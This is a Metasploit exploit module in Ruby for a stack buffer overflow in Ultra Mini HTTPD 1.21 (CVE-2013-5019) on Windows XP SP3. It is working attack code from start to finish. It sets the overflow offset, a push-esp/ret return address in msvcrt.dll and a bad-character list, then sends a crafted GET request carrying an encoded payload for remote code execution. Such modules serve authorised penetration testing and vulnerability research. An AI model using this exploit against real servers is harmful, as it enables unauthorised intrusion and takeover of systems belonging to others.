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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Ultra Mini HTTPD Stack Buffer Overflow", 'Description'=> %q{ This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21 allowing remote attackers to execute arbitrary code via a long resource name in an HTTP request. }, 'License'=> MSF_LICENSE, 'Author' => [ 'superkojiman',#Discovery, PoC 'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit ], 'References' => [ ['OSVDB', '95164'], ['EDB','26739'], ['CVE','2013-5019'], ['BID','61130'] ], 'Payload'=> { 'Space' => 1623, 'StackAdjustment' => -3500, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" }, 'DefaultOptions'=> { 'ExitFunction' => "thread" }, 'Platform' => 'win', 'Targets'=> [ [ 'v1.21 - Windows XP SP3', { 'Offset' => 5412, 'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 10 2013', 'DefaultTarget'=> 0 )) end def exploit buf = rand_text(target['Offset']) buf << [target.ret].pack("V*") buf << payload.encoded print_status("Sending buffer...") send_request_cgi({ 'method' => 'GET', 'uri'=> "/#{buf}" }) end end |